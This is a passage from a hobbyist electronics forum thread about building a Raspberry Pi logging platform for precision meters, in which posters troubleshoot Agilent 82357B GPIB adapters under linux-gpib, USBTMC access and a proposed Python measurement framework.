sudo sed -i -e "\$aagilent_82357a" /etc/modules
I hope I didn't miss anything.

You could also refer to TiN's guide.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #77 on: December 10, 2016, 09:39:39 am »
I wrote a sample for my HM8012 and tested it with
, and created a github pull request, so that it can be integrated in the main github repository (and later in the SD card image). With the github repository, we could implement an update function, even over the web interface, to get the latest examples and framework code, without the need to update the whole SD card image and without overwriting your own code.

Maybe would be a good idea to add TiN's guide to the repository as well in a doc directory, so that it is all in one place and under version control, and all scripts and docs needed to create a new image from a fresh Raspbian image.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 579
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #78 on: December 10, 2016, 11:32:46 am »
RPi2/3 with HP82357B and a 34401A.

1. I followed TiN's excellent article and have the RPi2 working well with the HP82357B and the HP34401A replies with the proper ID text for a *IDN? command. Both direct GPIB calls as well as pyVISA work well.
2. My guess is that since the newer Keysight 6.5 digit models are backwards compatible with the 34401A - it may be a moot point to support all of these models using one script.

NB - if testVISA.py (pyVISA) fails to reply (not finding the interface) try to add the '@py' resource:
replace:
rm = pyvisa.ResourceManager()
with
rm = pyvisa.ResourceManager('@py')
 
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #79 on: December 10, 2016, 07:54:31 pm »
I think a Python measurement framework would be nice. Maybe we can use some parts of the project at http://sigrok.org that @lwatts666 mentioned?

An idea: a generic base class "Instrument". All instruments in common is the capability to measure something. An instrument has a fixed number of inputs (and maybe outputs?). Concrete instrument classes for a HP34401A, or a HM8012, are derived from the abstract base class and implement all the instrument specific initialization and communication. It might be possible to configure an input, e.g. select volt or ohm, and select a range or auto-range. For each input you can get an input reader, which reads this input and knows about more about the input, like the unit, e.g. V or A, or the instrument channel.Then a logger class. You can add inputs to it and it automatically reads all inputs and writes them with a timestamp to a file, in a selected interval.

Sounds difficult if you are not an object oriented programmer, but it makes it really easy to write your own custom measurement script for an advanced end user. Goal should be that you can write a script for an instrument, without knowing the GPIB commands or other details of the instrument, except some instrument specific configuration for selecting AC or DC etc. A logger program could look like this (I don't know much about Python, so this might not compile) :

Code: [Select]
try {
  # create a new instrument object. Opens the default port for this instrument
  # and initializes it to be used with the framework, e.g. ASCII output format, 9 digits etc.
  voltageMeter = new HP34401A();

  # application specific configuration of an input of the instrument.
  # optional parameter: channel=x, if there are more than one input
  voltageMeter.configure(command=HP34401A.DCV, value=10);

  # creates a new instrument object for a LM75A temperature sensor
  # uses the default I2C address 0x48 for A0-A2=0, if not specified in the constructor
  # the I2C address could be a generic parameter "port", which could be the GPIB address, or an I2C address,
  # and a factory function in the instrument which lists all available ports, to create a GUI for port selection later
  i2cTempSensor = new LM75A();

  # create a new logger object and add all inputs. The getInputtReader-function could have an optional channel parameter
  log = new Logging("/pub/logs/test.csv");
  log.add(voltageMeter.getInputReader());
  log.addInstrument(i2cTempSensor.getInputtReader());

  # start logging
  # this creates the log file, writes the CSV header and saves the current time for the exact measurement interval
  log.start();
  while (true) {
    # measures all configured inputs and writes it to the CSV file, with a leading timestamp
    log.measureInputs();

    # waits for the specified number of seconds, relative to the last call of this function, so that there is an the exact same interval between every measurement
    log.waitSeconds(10);
  }
  log.createWebpage("/pub/html/test.html");
} catch (exception) {
  print(exception);
}

So all you need to write for a volt/temperature combination logger, with website output, are about 10 lines of easy to understand code, which can be mixed with custom tasks, like switching relays after some time etc. The generated CSV file header should name the instrument and unit, and optionally the channel, or I2C address etc.:

(timestamp)(HP34401A, V)(LM75A, C)
10/12/2016-07:53:279.15222.3
10/12/2016-07:53:379.26422.2

The InputReader class has a function "measure", which returns a float for the measured value, and it has a function getUnit. Now the log object can have a function to create a standard webpage to display all configured instruments and inputs, with some nice diagram header and axis labeling. There could be also a getLastMeasure function in the InputReader class, which you can use in the measure loop to get the last value, if you want to compare it to something to do something, in addition to the log output.

One step further: There is a webpage, which lists all available instruments. You can add multiple instruments with a mouse click and individually configure each instrument and the measurement interval. The set of instruments with the configuration can be saved as a project. You can start a measurement and then a log file is named with the project name and a sequential number suffix. You can click on a log file to display, download and delete it.

An instrument can list the possible set of configuration parameters so that you can edit this in the web page when configuring an instrument. There could be some templates for an instrument with a set of configuration parameters, e.g. "measure DC voltage", "measure AC ampere", so that you don't have to lookup the meaning of all parameters. The templates are provided by the concrete instrument class. Each parameter has a description, so that it is self documenting, without needing to read a manual for an instrument.

For the webserver it might be a good idea to use the Python webserver http.server, because then it is easier to access the Python instrument classes and configuration. The Python webserver could also provide a JSON server interface, so that you can call your Raspberry Pi from other systems and create a set of distributed network connected measurement devices.

Shouldn't be too difficult to implement. An experienced Python developer with webserver and object oriented programming experience might be able to do it in one week full time. Too bad I don't have much time at the moment , but I can help with testing, bugfixing and framework design ideas, if someone wants to do it.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 719
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #80 on: December 10, 2016, 09:14:38 pm »
@FrankBuss

Those are good suggestions and some of them are implemented in the python scripts used at xDevs . An example is here ... https://xdevs.com/doc/HP_Agilent_Keysight/3458A/test/dcv_ftp_b3.py
It comes in handy when you have two or more of the same meter. It can be difficult to initialize multiple meters without it becoming a long list of the same commands.

The 3458A and Keithley 2001/2 meters have been controlled this way for a while and once the code has been tested, only a couple lines of code are needed to create another instance. The same thing goes for the BME280. Adding more sensors will just require a similar bit of code .

I have not tried the http.server and I would like to see how easy it is to implement.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #81 on: December 10, 2016, 10:14:56 pm »
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py

How it looks like (the real version reloads automatically every second) :



Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 
The following users thanked this post: plesa

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #82 on: December 10, 2016, 10:30:07 pm »
@z01z
Thanks, it is know description.Your tutorial and others does not work for some 82357B clones, or at least for one which I have.
I found some information on various forums, but without any solution.On Windows machine it works ok.
And you can create udev rule to avoid executing commands every time you connect adapter.

@Assafl
I did not see any reason for pyVisa.

@ManateeMafia,@FrankBuss
It will be too complex for beginner, but I like idea, unfortunately it is not in my programming skills.
Multiple loggng scripts (one 3458A logging voltage and secon script for BME280) and combining data on D3 seems to be way to go to make it universal for now.



 
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #83 on: December 10, 2016, 10:32:15 pm »
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py

How it looks like (the real version reloads automatically every second) :



Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.

I like it, so on additional page can be actual values.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #84 on: December 10, 2016, 11:21:31 pm »
@ManateeMafia,@FrankBuss
It will be too complex for beginner, but I like idea, unfortunately it is not in my programming skills.
Multiple loggng scripts (one 3458A logging voltage and secon script for BME280) and combining data on D3 seems to be way to go to make it universal for now.
Using classes will make it easier for the beginner, otherwise the framework programmer did something wrong :) Looks like ManateeMafia has some OOP and Python knowledge, would be cool if he could implement some of my ideas. plesa, if you accept my pull request, if you agree with the slightly changed structure (the html directory in the pub directory now), the current source code will be in your github repository, and ManateeMafia can fork it and modify and add some more code. Or you could add me and ManateeMafia as members to your project (might need to convert your account to a organization, which I think is still free, if you don't have private repositories), makes changing things easier.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #85 on: December 11, 2016, 12:28:15 am »
Running multiple scripts and having multiple output files could have some problems, like out of sync and it is more complicated for the web page. Maybe as a start a universal Python script would be a good idea, which reads some simple JSON project file. Then all a user has to do, is to write a JSON project file, no need to program anything (and the JSON file creation could be supported by a neat web interface). An example for measuring volt and temperature:

Code: [Select]

   "LogFile":"/pub/log/test.csv",
   "MeasureInterval":"10",
   "Instruments":[ 
      { 
         "class":"HP34401A",
         "InitCommands":[ 
            { 
               "Command":"DCV",
               "Value":"10"
            },
            { 
               "Command":"LFILTER",
               "Value":"ON"
            }
         ],
         "Unit":"V"
      },
      { 
         "class":"LM75A",
         "Unit":"C"
      }
   ]
}

(I'm not sure if it makes sense to allow to specify multiple input channels, as proposed earlier, maybe better to just instantiate multiple instrument objects, even for the same physical instrument, and each instrument has just one channel.)

The Python script reads this file, creates all instrument classes and configures them, and writes the log file. The script could be even created now by merging all existing Python scripts in one big script, and evaluating the JSON input with it, but would be much better to create some clean classes. The same JSON file can be used from a general webpage, which creates the diagram with it. Special format specifiers, like colors etc., could be added to the JSON file.

This would be not as flexible as hand written Python, e.g. with custom actions when some limits are triggered, and custom HTML code, but I guess would work well for many measurement applications.
« Last Edit: December 11, 2016, 12:30:12 am by FrankBuss »
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #86 on: December 11, 2016, 07:06:44 pm »
@z01z
Thanks, it is know description.Your tutorial and others does not work for some 82357B clones, or at least for one which I have.
I found some information on various forums, but without any solution.On Windows machine it works ok.
And you can create udev rule to avoid executing commands every time you connect adapter.

@Plesa
Chang from Beiming told me that he had to do his own firmware for the adapters he made.
As they were not "Clones" they had other hw layout, and would not run with the agilent firmware.

Maybe that's the same with your clone , i know the "Gold clone" only works @Win.

@Assafl
I did not see any reason for pyVisa.

This is the first time i hear about pyVisa working on a non NI adapter.
Have i missed something ?

/Bingo

 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 579
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #87 on: December 11, 2016, 08:20:46 pm »
TiN's documentation ends with a pyvisa example.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #88 on: December 11, 2016, 08:25:21 pm »
Chang from Beiming told me that he had to do his own firmware for the adapters he made.
As they were not "Clones" they had other hw layout, and would not run with the agilent firmware.

Maybe that's the same with your clone , i know the "Gold clone" only works @Win.

@Assafl
I did not see any reason for pyVisa.

This is the first time i hear about pyVisa working on a non NI adapter.
Have i missed something ?

/Bingo

Clone is 1:1 HW copy of Agilent/Keysight one, it is not cubic version based on NI/NAT and Cypress chip which I also have but after few connection to PC it lost boot code for some reasons.
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported. 
 

Offline Sbampato12

  • Regular Contributor
  • *
  • Posts: 211
  • Country: br
    • Sbampato.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #89 on: December 12, 2016, 12:56:10 pm »
I'm in.
Lately I'm in a hurry with some projects, but whenever possible I could contribute. I have some gears, and a NI PCI GPIB card in my computer.

I will order a new Rasp, since mine is the first one.... ???

Some gears are LAN, some have serial and a lot have GPIB and I can test, and help code something.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #90 on: December 12, 2016, 01:32:51 pm »
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported.

Seems like a strange decision , unless you meant 82357B clones , and still supports the original 82357B.
My Agilent clone & Beimings are running excellent w. linux-gpib.

How do you experience the problem ?

/Bingo
« Last Edit: December 12, 2016, 01:44:26 pm by bingo600 »
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 579
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #91 on: December 12, 2016, 08:42:16 pm »
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported.

Seems like a strange decision , unless you meant 82357B clones , and still supports the original 82357B.
My Agilent clone & Beimings are running excellent w. linux-gpib.

How do you experience the problem ?

/Bingo

I don't know if that is what plesa is referring to - I am getting for ibtest with Genuine Agilent 82357B (and similar errors for Python):

gpib status is:
ibsta = 0xc100  < ERR TIMO CMPL >
iberr= 14
EBUS 14: Bus error
ibcnt = 0

I was able to see something happen with pyVisa - but can't even recreate that. 
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #92 on: December 13, 2016, 12:54:31 pm »
I also have a supposedly original 82357B, which only works in Windows. In linux the same error (EBUS 14: Bus error) happens for me as for Assafl.

Finally managed to dump what is sent from Windows, it is a bit different from what is in the gpib_firmware file.
In the measat_releaseX1.8.hex this is present (from line 75):
:100F200001010380320904000003000000000705EE
:100F3000820200020007050602000200070588037E
:100F400008000100090227000101048032090400A1

And this is sent from Windows (in the same format, with manually calculated checksum):
:100F200001010380FA090400000300000000070526
:100F3000820200020007050602000200070588037E
:100F4000080001000902270001010480FA090400D9

This is the only difference I could see, the same two bytes are different, the rest is the same.

I'm going to change the firmware accordingly and try it, but probably won't be able to do it not before the end of week. I'll report back with the results.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #93 on: December 14, 2016, 08:18:37 am »
Thanks z01z.
Which file in Windows is firmware?
I just started clean Gentoo installation on RPi3 to check if issue persist.
On older kernel/linux-gpib this error has been solved by changing kernel parameter (timing), but it was for PCI and ISA boards.
Document with error messages
http://digital.ni.com/public.nsf/allkb/2FA525A8585A92E9862566EE002A3755
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #94 on: December 14, 2016, 09:15:51 am »
Sadly changing these bytes had no effect, the error still happened.

As for the driver, look for agt357run.inf. There's a separate driver for boot (agt82357.sys) and for run (agt357run.sys).
So you think this is a timing issue? I took some USB captures for both, I'll have a look at them. Downloading the firmware seems to work though, so I suppose it's how commands sent afterwards.
« Last Edit: December 14, 2016, 11:21:45 am by z01z »
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 579
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #95 on: December 14, 2016, 03:05:32 pm »
Concur changing the 2 words did not change the behavior for me as well.
 

Offline pelule

  • Frequent Contributor
  • **
  • Posts: 509
  • Country: de
  • What is business? It’s other people’s money
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #96 on: December 15, 2016, 06:13:51 pm »
Quote
GPIB interface:
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
I have the 1st version of Raspberry Pi - as never used this would a nice usage to log on my 3458A.
I also own an Agilent 82357B (not sure how to detect if official or a clone).
My very special feature request: allow to switch of the 3458A display.
BR
PeLuLe
You will learn something new every single day
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #97 on: December 15, 2016, 06:28:13 pm »
I've tested the image on an old Raspberry Pi 1, model B, and works without problem on this hardware.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #98 on: December 15, 2016, 06:34:02 pm »
I've tested the image on an old Raspberry Pi 1, model B, and works without problem on this hardware.

Thanks Frank!

Quote
GPIB interface:
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
I have the 1st version of Raspberry Pi - as never used this would a nice usage to log on my 3458A.
I also own an Agilent 82357B (not sure how to detect if official or a clone).
My very special feature request: allow to switch of the 3458A display.
BR
PeLuLe


Yes, it is done. I needs to solve 82357B support to release new version of image.
 

Offline pelule

  • Frequent Contributor
  • **
  • Posts: 509
  • Country: de
  • What is business? It’s other people’s money
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #99 on: December 15, 2016, 07:35:54 pm »
Is my undersatnding correct:
Raspberry is same time also logging at the environment (temperature. humidity, pressure) using the BME280 sensore (I2C)?
If yes - would great, as I have two of BME280 waiting for activity.

BR
PeLuLe
You will learn something new every single day
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #100 on: December 15, 2016, 07:45:50 pm »
Is my undersatnding correct:
Raspberry is same time also logging at the environment (temperature. humidity, pressure) using the BME280 sensore (I2C)?
If yes - would great, as I have two of BME280 waiting for activity.

BR
PeLuLe

Yes, if you install image it is ready to log data from two BME sensors and it plot graphs on webpage, same like logging from supported instruments.
But currently is 82357B adapter not working
 

Offline pelule

  • Frequent Contributor
  • **
  • Posts: 509
  • Country: de
  • What is business? It’s other people’s money
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #101 on: December 15, 2016, 10:17:40 pm »
Quote
But currently is 82357B adapter not working
Understood, but worth to wait for.
You will learn something new every single day
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #102 on: December 16, 2016, 01:40:44 pm »
Downloading the Image now.  I have a Rigol DM3068 meter.  I'll add a script for it.
 
The following users thanked this post: TiN, 2N3055

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #103 on: December 16, 2016, 07:12:39 pm »
But currently is 82357B adapter not working

@plesa et all.

I can confirm that currently the 82357B adapter is not working, on newer raspi kernels.

I have just build linux-gpib (svn) on both a raspi v1 , and a raspi v3 , both fails reading from the adapter.

Both are using latest kernel

Raspi V3 - Linux raspi4 4.4.38-v7+ #938 SMP Thu Dec 15 15:22:21 GMT 2016 armv7l GNU/Linux

Raspi V1 - Linux raspi3 4.4.38+ #938 Thu Dec 15 15:17:54 GMT 2016 armv6l GNU/Linux


I build the same  linux-gpib (svn) , on my Corei5 lappy , where it's working
Linux  3.19.0-32-generic #37~14.04.1-Ubuntu SMP Thu Oct 22 09:41:40 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


Code: [Select]
$ cat idn1.py
 #!/usr/bin/python
 # -*- coding: utf-8 -*-

import Gpib
inst = Gpib.Gpib(0,16) # address 6
inst.write("*IDN?")
INST=inst.read(100) # read 100 bytes
print(INST)




 ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02

Something is wrong on the newer kernels (devicetree or ??).

I have used the 82357B (china prob. clone) adapter on my raspi v1 w. debian wheezy , without problems.
Furthermore it works 100% if i build the same linux-gpib on my Corei5 w. Mint 17.3  - (same kernel as Ubuntu 14.04).


/Bingo
« Last Edit: December 16, 2016, 07:43:36 pm by bingo600 »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #104 on: December 16, 2016, 08:20:10 pm »
@plesa please add the USBTMC standard Linux driver when you create the next image. On my Debian Wheezy on PC I can now access my SPD3303D over USB, worked out of the box without needing to install a driver, with some quirks how to access it, as someone figured out here (but only the first Device class implementation works with my device), and add it to the documentation. Now I can control a good laboratory power supply from Python scripts, this is going to be fun  :)
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #105 on: December 16, 2016, 08:29:42 pm »
@plesa please add the USBTMC standard Linux driver when you create the next image. On my Debian Wheezy on PC I can now access my SPD3303D over USB, worked out of the box without needing to install a driver, with some quirks how to access it, as someone figured out here (but only the first Device class implementation works with my device), and add it to the documentation. Now I can control a good laboratory power supply from Python scripts, this is going to be fun  :)

Hi Frank,

USBTMC is already there including example how to control 34411A.
Currently we needs to solve kernel problem with 82357B. Also genuine 82357B is not working with kernels 4.4.34-38.

I hope that with Raspberry, Python, D3 we can have lot of fun and gain from sharing scripts :)
I already receive request for various things like controlling PSU  and reading temperature for testing resistors tempco.
 

Offline cdev

  • Super Contributor
  • ***
  • Posts: 5082
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #106 on: December 16, 2016, 08:50:27 pm »
Did you guys know there is some kind of kernel latency patch for the Raspberry Pi if you need it to send data as it comes in, because it's Ethernet interface is implemented via USB?


So for some kinds of uses, where USB timing is critical, you need this patch, and for others, its not the best choice. Sharing the USB bus allowed them to trim several dollars off the price. A substantial amount of money relative to other parts. So, for certain kinds of uses, other SBCs are better.
"What the large print giveth, the small print taketh away."
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #107 on: December 16, 2016, 08:59:15 pm »
The Python USBTMC implementation doesn't work with my device. I checked it with the 34410A_Log.py example, changing the instrument creation line to

inst =  usbtmc.Instrument("USB::0x0483::0x7540::INSTR")

which is the vendor and product ID I can see with lsusb. And it shows after a while "usb.core.USBError: [Errno 110] Operation timed out". If I change the vendor or product ID in the instrument creation, or unplug the device, it says "usbtmc.usbtmc.UsbtmcException: Device not found [init]", so I guess it finds the device and can open it. But it might be the same problem when using the Linux kernel driver: without the sleep it doesn't work, at least not with the SPD3303D power supply.

I don't know if it makes sense to dig deeper into the cause of the problem, this could result in days of reading kernel source code and using USB logging. I would assume it is some sloppy implementation in the power supply USB connection. I don't know anyway if it is a good idea to implement the USBTMC driver in user mode with usb.core, but maybe it has more features than the kernel module. The simple solution would be to add the USBTMC kernel driver as well, if it doesn't conflict with the Python implementation, but I guess not, because it uses the low level USB PyUSB interface. The author of the 34410A script with a 34410A instrument could test this. If you integrate it as a kernel module and if it doesn't work, the module could be unloaded as default, and I can load it for my scripts.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #108 on: December 16, 2016, 09:04:30 pm »
Additional benefit of using the USBTMC kernel driver: you can use it from other programs as well, not just from Python. On my PC I can do this:

echo "*IDN?" > /dev/usbtmc0
cat /dev/usbtmc0

and it answers with

Siglent Technologies,SPD3303,SPD00002130137,1.01.01.01.05,V1.1

(but still with the timeout problem: after printing this line it hangs for about 5 seconds and then it says "cat: /dev/usbtmc0: Connection timed out")
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #109 on: December 16, 2016, 10:05:39 pm »
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #110 on: December 16, 2016, 11:14:06 pm »
@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #111 on: December 17, 2016, 07:33:32 am »
Did you guys know there is some kind of kernel latency patch for the Raspberry Pi if you need it to send data as it comes in, because it's Ethernet interface is implemented via USB?


So for some kinds of uses, where USB timing is critical, you need this patch, and for others, its not the best choice. Sharing the USB bus allowed them to trim several dollars off the price. A substantial amount of money relative to other parts. So, for certain kinds of uses, other SBCs are better.

The Odroid C2 kicks a.. on ethernet (900Mb both ways)
Too bad they are loooong behind in kernel support.
C2 is one of the fastest (if not the fastest) sbc , but lacks in vendor support.

/Bingo
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #112 on: December 17, 2016, 07:35:00 am »
I'm currently building a Raspi w. Noobs 1.4.1 (Wheezy) , and will let you know if the Agilent usb gpib works there.

https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/

/Bingo
« Last Edit: December 17, 2016, 10:24:49 am by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #113 on: December 17, 2016, 09:00:36 am »
@Bingo
I remember you reporting in the other topic that Jessie was working for you. Might it be that you only tried it with a v1 board?
For me Jessie never worked (v3 board). I'll also give Wheezy a try.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #114 on: December 17, 2016, 10:02:05 am »
@Bingo
I remember you reporting in the other topic that Jessie was working for you. Might it be that you only tried it with a v1 board?
For me Jessie never worked (v3 board). I'll also give Wheezy a try.

I'm not sure i ever said Jessie worked , just that it build ok. And that i didn't test on real HW.

I never tried the adapter on my v3

/Bingo
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #115 on: December 17, 2016, 10:06:34 am »
Oldest Jessie with kernel 4.4.11 is also not working. Other adapters with uploading firmware like NI GPIB-USB-B are working properly.
Currently I trying older linux-gpib versions.
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #116 on: December 17, 2016, 10:24:31 am »
I'm not sure i ever said Jessie worked , just that it build ok. And that i didn't test on real HW.

I never tried the adapter on my v3
Ah, OK. It was wishful thinking on my part  :).
Seems like Wheezy doesn't support v3 boards.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #117 on: December 17, 2016, 10:28:13 am »
Could it be that Wheezy just soesn't support WiFi & BT on the V3 boards ??

Else maybe give Ubuntu Mate a try , that would be my next step , for distro that supports v1..v3 boards
https://www.raspberrypi.org/downloads/

And i'd expect that kernel headeres are available , instead of that incredible stupid KLUDGE you have to do on Raspbian  :--

/Bi
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #118 on: December 17, 2016, 10:30:18 am »
Could it be that Wheezy just soesn't support WiFi & BT on the V3 boards ??

Else maybe give Ubuntu Mate a try , that would be my next step , for distro that supports v1..v3 boards
https://www.raspberrypi.org/downloads/

And i'd expect that kernel headeres are available , instead of that incredible stupid KLUDGE you have to do on Raspbian  :--

/Bi

The same problem is on RPi2 with 4.4.34 and linux-gpib-4.0.3
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #119 on: December 17, 2016, 10:55:05 am »
root@raspi2:/home/bingo# ./idn1.py
Traceback (most recent call last):
  File "./idn1.py", line 4, in <module>
    import Gpib
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 2, in <module>
    import gpib
ImportError: libgpib.so.0: cannot open shared object file: No such file or directory

****  I missed the ldconfig

root@raspi2:/home/bingo# ldconfig
root@raspi2:/home/bingo#
